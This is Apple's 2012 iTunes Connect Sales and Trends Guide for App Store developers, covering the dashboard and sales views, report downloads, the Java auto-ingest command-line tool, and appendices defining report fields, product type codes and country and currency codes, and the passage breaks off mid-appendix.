Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 1Apple Inc. © 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. The Apple logo is a trademark of Apple Inc. Use of the “keyboard” Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist partners in understanding the Sales and Trends module of iTunes Connect. Every effort has been made to ensure that the information in this document is accurate. Apple is not responsible for typographical errors. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE. AS A RESULT, THIS DOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 2Contents 1. Getting Started 4 2. Navigating and Viewing Your Sales and Trends Data 5 2.1. Dashboard View 6 2.2. Sales View 11 3. Downloading, Reading and Understanding Sales and Trends Data 13 3.1. Downloading Reports 13 3.2. Auto-Ingest Tool 14 3.3. Reading Reports 16 3.4. Understanding Units 18 4. Contact Us 19 Appendix A - Sales Report Field Definitions 20 Appendix B - Opt-In Report Field Definitions 21 Appendix C - Apple Fiscal Calendar 22 Appendix D - Definition of Day and Week 23 Appendix E – Product Type Identifiers 24 Appendix F – Country Codes 25 Appendix G – Promotional Codes 26 Appendix H – Currency Codes 27 Appendix I - Subscription and Period Field Values 28 Appendix J - FAQs 29 Appendix K - Sample Sales Report 30 Appendix L – Other Uses 32 Appendix M - Newsstand Report Field Definitions 33 Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 31. Getting Started iTunes Connect can be accessed at http://itunesconnect.apple.com. Once you login, you will be presented with the Welcome page below, which contains notifications at the top and module links to help you navigate through iTunes Connect. The Welcome page you will see is based on the modules applicable to you and may be different from what is shown below. This guide is primarily intended to cover the Sales and Trends module. The initial user who entered into the program license agreement has the “Admin” role, which provides access to all modules, including the ability to add other “Admin” users (using the Manage Users module). The “Admin” users associated with your account are expected to manage (add, modify, and delete) your users based on your needs. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 42. Navigating and Viewing Your Sales and Trends Data The iTunes Connect Sales and Trends module allows you to interact with your sales data in various ways: ■ A summary that provides total units, percent differences, graphs, top selling content and largest market information (Dashboard view). ■ Previews that provide the top 50 transactions of sales aggregated at the title level in descending sorted order (Sales view). ■ Download full transaction reports for import and further analysis (Sales view). When you are ready to access the Sales and Trends module, click on the following link located on the Welcome page: Upon selecting the Sales and Trends module, you will be taken to the Dashboard view. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 52.1. Dashboard View The Dashboard will load and display the most recent daily data available. The following identifies the various components of the dashboard. The “Selection” controls located above the graph allow you to change the information displayed. Vendor Selection The Vendor Selection display lists the legal entity name for the Sales and Trends that you are viewing. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 6View Selection The View Selection allows you to switch between different views. In addition to the Dashboard view, you can toggle to the Sales view (the Sales view is covered in section 2.2). Period Selection You can choose the type (daily or weekly), as well as the period of interest. The date menu will display all periods available up to the last 13 weeks or 14 days. Category Selection You can choose the specific category you wish to view in the Dashboard if you sell more than one type of content (i.e. iOS and MacOS). Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 7Type Selection You can choose the specific type of content within a category to view in the Dashboard’s graph, Top Products and Top Markets. The available types are the same for both the iOS and MacOS category. Refer to Appendix E for the complete product breakdown by product type. Graph Selection You can choose between a line graph and bar graph by clicking on the graph buttons located on the right top corner of the graph. Graph The data displayed in the graph is based on the period (specific day or week), category and type selected. When you hover over a specific day or week in the graph (bar or line), the date, number of units and type will be displayed. The following displays the graph for the period of August 30, 2010 and the Free Apps category while mousing over the August 30, 2010 bar. When viewing daily reports, the graph will also display the percentage change from the same day in the prior period. In the graph above you see the percentage change of free apps sold on 8/30 (Monday) to those sold on 8/24 (Monday of prior week) based on units. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 8Top Products Display The Top Products display is based on the period (specific day or week), category (iOS or Mac OS) and the type (Free Apps, Paid Apps, In Apps, Updates) selected. The section provides a summary of net units at the Product level. A Product can be reported as separate lines in your reports due to differences such as territories but will be reported as combined in terms of units in this display since the units are aggregated at the Product level world-wide based on unique product identifier. The “Change” column in the display shows units and percentage change from the prior period (selected day over same day of the prior week, or selected week over prior week). Top Markets Display The Top Markets display is based on the period (specific day or week), category (iOS and Mac OS) and the type (e.g. Free Apps) selected. This section provides a summary of net units for all products at the country (iTunes Storefront) level. The “Change” column in the display shows units and percentage change from the prior period (selected day over same day of the prior week, or selected week over prior week). See Appendix F for iTunes Storefront listing. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 9Resources At the bottom left of all pages you will find three links: ■ Fiscal Calendar - Opens a new window that displays Apple’s fiscal calendar ■ User Guide - Provides the most current version of this guide ■ Mobile Guide - Provides the user guide for the iTC Mobile Application. Done Button The “Done” button at the bottom right of all pages takes you to the Dashboard from the Sales view, and to the iTunes Connect Welcome page from the Dashboard. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 102.2. Sales View The Sales view allows you to analyze at the specific content level. You can preview the Top 50 products delivered based on transaction volume summarized and sorted descending by Units, and can download the available daily and weekly reports for additional information about all your transactions. You can also download detailed Newsstand reports or contact information for customers that have elected to “opt-in” when purchasing an In-App Purchase subscription. The following is an example of the Sales view. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 11Understanding The Sales Preview When you land on the Sales view, the Period presented is the latest daily data available. Using the Period Selection menu, you can preview all available daily and weekly data for all content types in all categories. Once you have selected a period, the Preview will be displayed. The Preview summarizes the data based on the columns displayed, including any promotional transactions indicated with (Promo Indicator). You can hover over the Promo Indicator to see the type of promotion. See Appendix G for Promotional Codes. Autorenewable subscription transactions are indicated with (Subscription Indicator). The preview functionality does not contain the full report. To view or analyze all transactions you must download the full reports. The previews summarize data differently than the reports based on the information available (i.e. the preview may summarize sales at a higher level as the downloaded report has more fields to consider). Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 123. Downloading, Reading and Understanding Sales and Trends Data 3.1. Downloading Reports You may download the Sales reports from the respective Sales view. To download a report (tab delimited zipped text file), you must select a report period (day of week or week ended) and press the download button to the right of the period selection menu. For a complete listing of fields please see Appendix A, B and M. If you are using Mac OS X the reports will automatically open when downloaded. If you are using a Windows OS you will need to download an application (for example WinZip) to decompress the “.gz” file prior to use. You can then import the tab delimited text file to a database or spreadsheet application (Numbers, MS Excel) and analyze or manipulate your data as needed. Weekly reports cover Monday through Sunday and are available on Mondays. The daily reports represent the 24 hour period in the time zone of the respective storefront (territory). Please refer to Appendix D for the definition of Day and Week. We do not store or regenerate the data after the periods have expired (14 rolling days and 13 rolling weeks); you will need to download and store this data on a regular basis if you intend to use it in the future. Downloading Customer Opt-In Information If your apps have auto-renewable subscriptions, you can download contact information for customers who have elected to “opt-in” to personal information sharing. To download the report (tab delimited zipped text file), you must select a weekly report period and click Opt-In Report next to Download Report. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 13To open the encrypted .zip file that is downloaded, you need to use the Opt-In Passkey. To obtain the Opt-In Passkey, click the Opt-In Passkey button in the upper right of the screen. The passkey will be displayed in a lightbox. Copy and paste this value to use it to unpack the .zip file and access the Opt-In Report. You will need to use a decompression tool like Stuff-It Expander or Winzip to open the encrypted file once you have downloaded it. Downloading Newsstand Reports If you have one or more Newsstand apps available for sale, you can download Newsstand reports by clicking Newsstand Detailed. Newsstand reports are also available via auto-ingest. 3.2. Auto-Ingest Tool Apple provides access to a Java based tool to allow you to automate the download of your iTunes Connect Sales and Trends reports. To use the auto-ingest tool, configuration on your part will be required. This tool allows you to automate the retrieval of: •Daily Summary Reports •Weekly Summary Reports •Opt-In Reports •Newsstand Reports As new reports become available we will modify and redeliver the java package or new parameters to use to download new products (i.e. we will modify the script for new features). We will communicate both the anticipated date of the report release and the date that the tool will be able to retrieve reports. You may not alter or disseminate the auto-ingest tool for any reason. We reserve the right to revoke access for usage or distribution beyond its intended use. Auto-Ingest Instructions You must have Java installed on the machine where you are running the auto-ingest tool. The tool will work as expected with Java version 1.6 or above. Follow the steps below to setup the environment for auto-ingestion: Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 141. Download and save the file Autoingestion.class to the directory where you want the reports delivered. http://www.apple.com/itunesnews/docs/Autoingestion.class.zip 2. To run the Java class file, change the command line directory to the directory where the class file is stored. 3. Invoke the following from the command line: java Autoingestion All items contained within “< >” are variable and will require you to define them. Of the 7 parameters only the date is optional. If you do not put a date in the parameter we will provide you the latest available report (the other parameters are mandatory). You will need to delimit the parameters with a space. Parameters Definitions Variable Value Notes username Your user name The user name you use to log into iTunes Connect password Your password The password you use to log into iTunes Connect vendorid 8####### (your unique number) Vendor ID for the entity which you want to download the report report_type Sales or Newsstand This is the report type you want to download. date_type Daily or Weekly Selecting Weekly will provide you the Weekly version of the report. Selecting Daily will provide you the Daily version of the report. report_subtype Summary, Detailed or Opt-In This is the parameter for the Sales Reports. Note: Detailed can only be used for Newsstand reports. Date (optional) YYYYMMDD This is the date of report you are requesting. If the value for Date parameter is not provided, you will get the latest report available. Example: You access iTunes Connect with user name “john@xyz.com” and your password is “letmein” for company 80012345, and you want to download a sales - daily - summary report for February 4, 2010. You will need to invoke the job by running the following command from the directory where the class file is stored: java Autoingestion john@xyz.com letmein 80012345 Sales Daily Summary 20100204 Newsstand Reports via Auto-Ingest If you are using auto-ingest, you can create the reports using the following auto-ingest parameters: Daily java Autoingestion Newsstand Daily Detailed java Autoingestion N D D java Autoingestion 5 2 1 Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 15Weekly java Autoingestion Newsstand Weekly Detailed java Autoingestion N W D java Autoingestion 5 1 1 3.3. Reading Reports Report File Names The file names for downloaded reports follow a standard naming convention. Please refer to the matrix below for details. Report Data Report Type Reporting Range Naming Convention Description Sales Summary Daily S_D__ Example: S_D_80000000_20111104 The first letter identifies that the report provides Sales data at a Summary level. Second letter denotes that it is a Daily report. This is followed by the Vendor Account Number and the Date of reporting data ('YYYYMMDD'). Sales Summary Weekly S_W__ Example: S_W_80000000_20111104 The first letter identifies that the report provides Sales data at a Summary level. Second letter denotes that it is a Weekly report. This is followed by the Vendor Account Number and the Date of reporting data ('YYYYMMDD'). Opt_in Summary Weekly O_S_W__ Example: O_S_W_80000000_20111104 The first and second letters identify that the report provides customer Opt-in data at a Summary level. The third letter identifies that it is a Weekly report. This is followed by the Vendor Account Number and the Date of reporting data ('YYYYMMDD'). Newsstand Detailed Daily N_D_D__ Example: N_D_D_80000000_20111104 The first and second letters identify that the report provides customer Newsstand data at a Detailed level. The third letter identifies that it is a Daily report. This is followed by the Vendor Account Number and the Date of reporting data ('YYYYMMDD'). Newsstand Detailed Weekly N_D_W__ Example: N_D_W_80000000_20111104 The first and second letters identify that the report provides customer Newsstand data at a Detailed level. The third letter identifies that it is a Weekly report. This is followed by the Vendor Account Number and the Date of reporting data ('YYYYMMDD'). Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 16Report Field Names All reports have a header row which contains the field names of each column. The reports present transactions that can be tracked with your SKU and/or the Apple Identifier. For a complete listing of fields please see Appendix A, B and M. Key Field Mapping The following table and screenshots will help you understand which fields in the report were setup by you in iTunes Connect and where they are in the App Store: Reference Field Name In Report Field in iTunes Connect Field in App Store 1 Developer Company Name Displayed after genre 2 Title App Name Displayed at top of product page 3 SKU SKU Number Not displayed on App Store Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 17Apple Identifier The Apple Identifier is the unique product identifier assigned by Apple. It is always included in each row of your sales reports. We recommend you provide the Apple Identifier of your app whenever you contact us for support so that your request can be expedited. You can also access the Apple Identifier by using the links in the App Store: The menu will offer an option for “Copy Link”. The link will look like the link below. The string of numbers highlighted is the Apple Identifier of the app. http://itunes.apple.com/us/app/remote/id284417350?mt=85 3.4. Understanding Units The reports are designed to provide valuable information about the activity of your product on the App Store. This can result in many lines for a given product. For each product with a unique Apple Identifier and SKU, units are split by: ■ Storefront / Country Code (US, UK) ■ Sales vs. Refunds ■ Product Type ■ Price ■ Promo Code ■ App Version Here are some examples of how units are grouped and displayed in both Preview and downloaded reports. Example 1: If you have one product and you are selling the product in the US, you will see 1 row (1 for US sales) assuming there are no refunds, price changes and promo codes during the period. Example 2: If you are selling 30 products in the US, and 10 of the products have refunds, then the preview and the downloaded report will have 40 rows and you will see a row for sales and a row for refunds. Example 3: If you are selling 30 products in the US, and 5 products have a price change in the middle of the week, then your full report and your previews will have 35 rows and you will see 2 lines per app with a price change. Example 4: If 10 new customers purchase your app and 10 existing customers update to the latest version of your app in the US, then your preview and downloaded report will have 1 row for purchases and 1 row for updates. Example 5: If 10 customers purchase version 1.1 of your product in the US, and those customers then update to version 1.2 of the same product, then your preview and downloaded report will have 2 rows, 1 row for purchases of version 1.1 and 1 row for updates to version 1.2. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 184. Contact Us If you have any questions or have difficulties viewing or downloading your sales and trends information, please do not hesitate to contact us. The easiest way to ensure your request is routed correctly is to use the Contact Us module. A Contact Us link is available on all pages as part of the footer. You can also find the Contact Us module on the iTunes Connect Homepage: The link will take you to a page that allows you to select the topic you need help with and will ask a series of questions and provide answers where available. For Sales and Trends inquiries, select the “Sales and Trends” topic. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 19Appendix A - Sales Report Field Definitions The definitions apply to Daily and Weekly Reports. Report Field Report Data Type Values Notes Provider CHAR(5) - APPLE Up to 5 Characters The service provider in your reports will typically be Apple Provider Country CHAR(2) - US Up to 2 Characters The service provider country code will typically be US SKU VARCHAR(100) Up to 100 Characters This is a product identifier provided by you when the app is set up ∇ Developer VARCHAR(4000) Up to 4000 Characters You provided this on initial setup . ∇ Title VARCHAR(600) Up to 600 Characters You provided this when setting up the app ∇ Version VARCHAR(100) Up to 100 Characters You provided this when setting up the app ∇ Product Type Identifier VARCHAR(20) Up to 20 Characters This field defines the type of transaction (e.g. initial download, update, etc) – See Appendix E Units DECIMAL(18,2) Up to 18 Characters This is the aggregated number of units Developer Proceeds (per item) DECIMAL(18,2) Up to 18 Characters Your proceeds for each item delivered Begin Date Date Date in MM/DD/YYYY Date of beginning of report End Date Date Date in MM/DD/YYYY Date of end of report Customer Currency CHAR(3) Up to 3 Characters Three character ISO code indicates the currency the customer paid in - See Appendix H Country Code CHAR(2) Up to 2 Characters Two character ISO country code indicates what App Store the purchase occurred in – See Appendix F Currency of Proceeds CHAR(3) Up to 3 Characters Currency your proceeds are earned in – See Appendix H Apple Identifier DECIMAL(18,0) Up to 18 Characters This is Apple's unique identifier. If you have questions about a product, it is best to include this identifier. Customer Price DECIMAL(18,2) Up to 18 Characters Retail Price displayed on the App Store and charged to the customer. Promo Code VARCHAR(10) Up to 10 Characters If the transaction was part of a promotion this field will contain a value. For all non-promotional items this field will be blank - See Appendix G Parent Identifier VARCHAR(100) Up to 100 Characters For In-App Purchases this will be populated with the SKU from the originating app. Subscription VARCHAR(10) Up to 10 Characters This field defines whether an autorenewable subscription purchase is a new purchase or a renewal. See Appendix I. Period VARCHAR(30) Up to 30 Characters This field defines the duration of an auto-renewable subscription purchase. See Appendix I. ∇ Apple generally does not modify this field. What you provided when setting up your app is passed through on the report. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 20Appendix B - Opt-In Report Field Definitions The definitions apply to Weekly Opt-In Reports. Report Field Report Data Type Values Notes First Name VARCHAR(100) Up to 100 Characters First Name of Customer Last Name VARCHAR(100) Up to 100 Characters Last Name of Customer Email Address VARCHAR(100) Up to 100 Characters Email Address of Customer Postal Code VARCHAR(50) Up to 50 Characters Postal Code of Customer Apple Identifier DECIMAL(18,0) Up to 18 Characters This is Apple's unique identifier. If you have questions about a product, it is best to include this identifier. Report Start Date DATE Date in MM/DD/YYYY Date of beginning of report Report End Date DATE Date in MM/DD/YYYY Date of end of report Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 21Appendix C - Apple Fiscal Calendar Monthly Financial Reports are based on Apple’s reporting calendar shown below. Months represent either four (4) or five (5) weeks (the first month of each quarter has an extra week) and the weeks run from Sunday through Saturday. All months start on Sunday and end on Saturday. Monthly reports are also distributed on iTunes Connect and available based on the contractually agreed timeframes. Sales and Trends reports are generated using different time frames and represent near immediate feedback of transactions. Finance Reports are based on customer invoicing and financial processing. Reconciliation between the reports is not recommended due to the timing and reporting differences. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 22Appendix D - Definition of Day and Week What is a Day? 12:00:00 AM to 11:59:59 PM in the time zone used for that territory (see table below). What is a Week? Monday 12:00:00 AM to Sunday 11:59:59 PM What time is the report date based on? Territory Time Zone US, Canada, Latin America Pacific Time (PT) Europe, Middle East, Africa, Asia Pacific Central Europe Time (CET) Japan Japan Standard Time (JST) Australia, New Zealand Western Standard Time (WST) When are reports available? Reports are generated after the close of business in the final time zone (which is PT). As such, all reports are generally available by 8:00 AM PT for the prior day or week. Earlier access to reporting for other time zones (where the close of business is earlier) is not available. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 23Appendix E – Product Type Identifiers Product Type Identifier Type Description 1 Free or Paid Apps iPhone and iPod Touch, iOS 7 Updates iPhone and iPod Touch, iOS IA1 In Apps Purchase, iOS IA9 In Apps Subscription, iOS IAY In Apps Auto-Renewable Subscription, iOS IAC In Apps Free Subscription, iOS 1F Free or Paid Apps Universal, iOS 7F Updates Universal, iOS 1T Free or Paid Apps iPad, iOS 7T Updates iPad, iOS F1 Free or Paid Apps Mac OS F7 Updates Mac OS FI1 In Apps Mac OS 1E Paid Apps Custom iPhone and iPod Touch, iOS 1EP Paid Apps Custom iPad, iOS 1EU Paid Apps Custom Universal, iOS Dashboard Types Type Product Type Identifier Description Free Apps 1, 1F, 1T, F1 Where price = ‘0’ Paid Apps 1, 1F, 1T, F1 Where price > ‘0’ In Apps IA1, IA9, IAY. FI1 Updates 7, 7F, 7T, F7 Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 24Appendix F – Country Codes Country Code Country Name Country Code Country Name Country Code Country Name AE United Arab Emirates GD Grenada NG Nigeria AG Antigua and Barbuda GH Ghana NI Nicaragua AI Anguilla GR Greece NL Netherlands AM Armenia GT Guatemala NO Norway AO Angola GY Guyana NZ New Zealand AR Argentina HK Hong Kong OM Oman AT Austria HN Honduras PA Panama AU Australia HR Croatia PE Peru AZ Azerbaijan HU Hungary PH Philippines BB Barbados ID Indonesia PK Pakistan BE Belgium IE Ireland PL Poland BG Bulgaria IL Israel PT Portugal BH Bahrain IN India PY Paraguay BM Bermuda IS Iceland QA Qatar BN Brunei IT Italy RO Romania BO Bolivia JM Jamaica RU Russia BR Brazil JO Jordan SA Saudi Arabia BS Bahamas JP Japan SE Sweden BW Botswana KE Kenya SG Singapore BY Belarus KN St. Kitts and Nevis SI Slovenia BZ Belize KR Republic Of Korea SK Slovakia CA Canada KW Kuwait SN Senegal CH Switzerland KY Cayman Islands SR Suriname CL Chile KZ Kazakstan SV El Salvador CN China LB Lebanon TC Turks and Caicos CO Colombia LC St. Lucia TH Thailand CR Costa Rica LK Sri Lanka TN Tunisia CY Cyprus LT Lithuania TR Turkey CZ Czech Republic LU Luxembourg TT Trinidad and Tobago DE Germany LV Latvia TW Taiwan DK Denmark MD Republic Of Moldova TZ Tanzania DM Dominica MG Madagascar UG Uganda DO Dominican Republic MK Macedonia US United States DZ Algeria ML Mali UY Uruguay EC Ecuador MO Macau UZ Uzbekistan EE Estonia MS Montserrat VC St. Vincent and The Grenadines EG Egypt MT Malta VE Venezuela ES Spain MU Mauritius VG British Virgin Islands FI Finland MX Mexico VN Vietnam FR France MY Malaysia YE Yemen GB United Kingdom NE Niger ZA South Africa Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 25Appendix G – Promotional Codes The promo code field contains different values depending on the type of promotion. The following definitions describe the possible values that may appear in the field other than null (null means the item is a standard transaction). Only one value is possible per line in the report: Promo Code Description CR - RW Promotional codes where the proceeds have been waived (The customer price will be 0 and the proceeds will be 0). These transactions are the result of iTunes Connect Developer Code redemptions. GP Purchase of a Gift by the giver GR Redemption of a Gift by the receiver EDU Education Store transaction Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 26Appendix H – Currency Codes Currency Code Currency Country AUD Australian Dollar CAD Canadian Dollar CHF Swiss Franc DKK Danish Kroner EUR European Euro GBP British Pound JPY Japanese Yen MXN Mexican Peso NOK Norwegian Kroner NZD New Zealand Dollar SEK Swedish Kronor USD United States Dollar Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 27Appendix I - Subscription and Period Field Values The Subscription field indicates whether the auto-renewable subscription purchase is a new purchase or a renewal. Subscription Field Value New Renewal The Period field indicates the duration of the auto-renewable subscription purchase or renewal. Period Field Value 7 Days 1 Month 2 Months 3 Months 6 Months 1 Year Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 28Appendix J - FAQs What does each column represent in my reports? Please refer to Appendix A and B. I am seeing differences between Financial Reports and Sales and Trends reports, why? The daily and weekly reports are based on customer interaction (clicks) and are coming from real-time systems while the monthly reports are based on settled financial transactions and are coming from our financial systems. There are intentional differences in processing and time-frames between those two types of reports. For example, the weekly reports are from Monday to Sunday, while the Financial Reports are based on the Apple Fiscal Calendar and always end on Saturday. Reconciliation between the reports is not recommended due to the timing and reporting differences. Do weekly reports reconcile with the daily reports? Yes. Both daily and weekly reports are coming from the same system and they are based on customer interaction (clicks). They will reconcile. I see a high volume of sales for a short period of time (could be up to a week) and the sales drop down, what does this mean? It is very common that some items get a high amount of sales for a short period of time and the numbers get back to normal. It is generally due to a particular promotion related with a web blog or a sales campaign that includes an item that might be associated with iTunes or the content. There is also a very common case where a content's sales drop to zero.  In this case, this might be an indication of content being unavailable in iTunes due to number of reasons. I don’t see any sales for a particular item, why? This can be an indication of an item not being available in the store for different reasons. Check the product availability in iTunes Connect and ensure that the latest contracts are agreed to and in place. How can I identify refunds? Sales and Trends reports expose refunds to allow you to monitor refund rate by product. You will see a negative unit value for refund transactions. Why there are refunds on my reports? We will provide a refund if the customer experience was in our opinion unsatisfactory (generally quality issues). One thing you can monitor on your reports is the rate of refunds and the content that is refunded since it is an indication of quality issues with your content. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 29Appendix K - Sample Sales Report The following is a sample Sales report to help you interpret its contents. Price fields are dependent on the storefront 1 from which the customer purchases the app, and the price of the app at the time of purchase 2 . (For complete field definitions see Appendix A) Reading the Report The example above is the most likely scenario you will see: ■ SKU – “SKU1” is the SKU attached to this app by the developer. ■ Developer – “Vendor” is the name that the app is sold under on the store ■ Title – “App-1” is the name of the app ■ Product Type Identifier – “1” denotes the type of transaction (initial download) ■ Units – “352” is the number of units sold for a given day/week ■ Developer Proceeds – “3.65” is proceeds, net of commission, you will receive for each sale of the app ■ Customer Currency – “GBP” (Great Britain Pounds) is the currency in which the customer purchased the app ■ Currency of Proceeds – “GBP” (Great Britain Pounds) is the currency in which your proceeds were earned for the app ■ Customer Price – “5.99” is the price paid by the customer for the app Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 30 1 As new territories are added, storefronts will further differentiate records 2 If you change your price during the reporting period, the report will show multiple price points for the same countryAdditional Reporting Scenarios We have provided some additional scenarios and sample extract to help you further understand your reports. In your reports the Product Type Identifier denotes the type of transaction (See Appendix E for a list of all types). The Product Type Identifier must be taken into account in all of the following scenarios. Scenario 1 (Product Type Identifier=1; Units=16; Developer Proceeds=4.86) This is similar to the first line; the Developer Proceeds value will always be greater than zero for all paid apps and zero for free apps. Scenario 2 (Product Type Identifier=7; Units=1; Developer Proceeds=0) Certain line items will have 0 in the Developer Proceeds field. Even if you only have paid apps on the store, the Developer Proceeds will be 0 for all updates (Product Type Identifier = 7). Scenario 3 (Product Type Identifier=1; Units=-1; Developer Proceeds=7; Customer Price=-9.99) You may see negative units when a customer returns a product. All returns will have a Product Type Identifier of 1 and both Units and Customer Price will be a negative value. Refer to Appendix J for additional information on returns. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 31Appendix L – Other Uses Below you will see some sample ideas that the data can be used for on a daily basis. 1. Business Health Monitoring By tracking volume of sales per unit or revenue, the health of your business can be tracked. Sudden drop in sales may indicate issues such as top seller being not available any more. 2. Content Quality Issues By tracking the refunds, you can identify and replace the asset that is being refunded to the customer if the refunds are specific to one or more items. Typical ratio of refunds to overall sales shall not exceed 0.10%. 3. Pricing Issues When organizations get larger, it is always challenging to have fast/efficient communication between the operational teams that are providing the metadata to iTunes and the Management, Marketing, Finance and Business Development team. Tracking pricing will indicate any disconnect between different groups and will provide opportunity to fix issues sooner and minimize the impact. 4. Price Elasticity We believe that careful management of price can increase your sales. By using the reports you can monitor percent change in sales in correlation with a percent change in customer price. If applied correctly this type of analysis will help you set the best price for your product to maximize your revenue. Apple Inc. iTunes Connect Sales and Trends Guide, App Store Version 5.3  iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 32Appendix M - Newsstand Report Field Definitions The definitions apply to Newsstand reports. Report Field Report Data Type Values Notes Provider CHAR(5) - APPLE Up to 5 Characters The service provider in your reports will typically be Apple Provider Country CHAR(2) - US Up to 2 Characters The service provider country code will typically be US SKU VARCHAR(100) Up to 100 Characters This is a product identifier provided by you when the app is set up Developer VARCHAR(4000) Up to 4000 Characters You provided this on initial setup. Title VARCHAR(600) Up to 600 Characters You provided this when setting up the app Version VARCHAR(100) Up to 100 Characters You provided this when setting up the app Product Type Identifier VARCHAR(20) Up to 20 Characters This field defines the type of transaction (e.g. initial download, update, etc) – See Appendix E Units DECIMAL(18,2) Up to 18 Characters This is the aggregated number of units Developer Proceeds (per item) DECIMAL(18,2) Up to 18 Characters Your proceeds for each item delivered Customer Currency CHAR(3) Up to 3 Characters Three character ISO code indicates the currency the customer paid in - See Appendix H Country Code CHAR(2) Up to 2 Characters Two character ISO country code indicates what App Store the purchase occurred in – See Appendix F Currency of Proceeds CHAR(3) Up to 3 Characters Currency your proceeds are earned in – See Appendix H Apple Identifier DECIMAL(18,0) Up to 18 Characters This is Apple's unique identifier. If you have questions about a 